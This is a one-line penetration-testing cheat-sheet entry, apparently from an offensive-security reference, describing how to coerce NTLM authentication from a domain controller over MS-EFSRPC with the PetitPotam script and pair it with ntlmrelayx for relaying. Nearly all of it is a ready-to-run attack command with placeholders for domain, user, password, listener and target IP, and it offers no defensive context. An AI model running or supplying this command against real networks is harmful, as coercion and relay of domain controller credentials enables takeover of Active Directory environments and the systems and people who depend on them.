Coerce NTLM authentication from a DC via MS-EFSRPC (pair with ntlmrelayx).
Command: Linux copy
uv run PetitPotam.py -d $DOMAIN -u $USER -p $PASSWORD $LHOST $IP
References: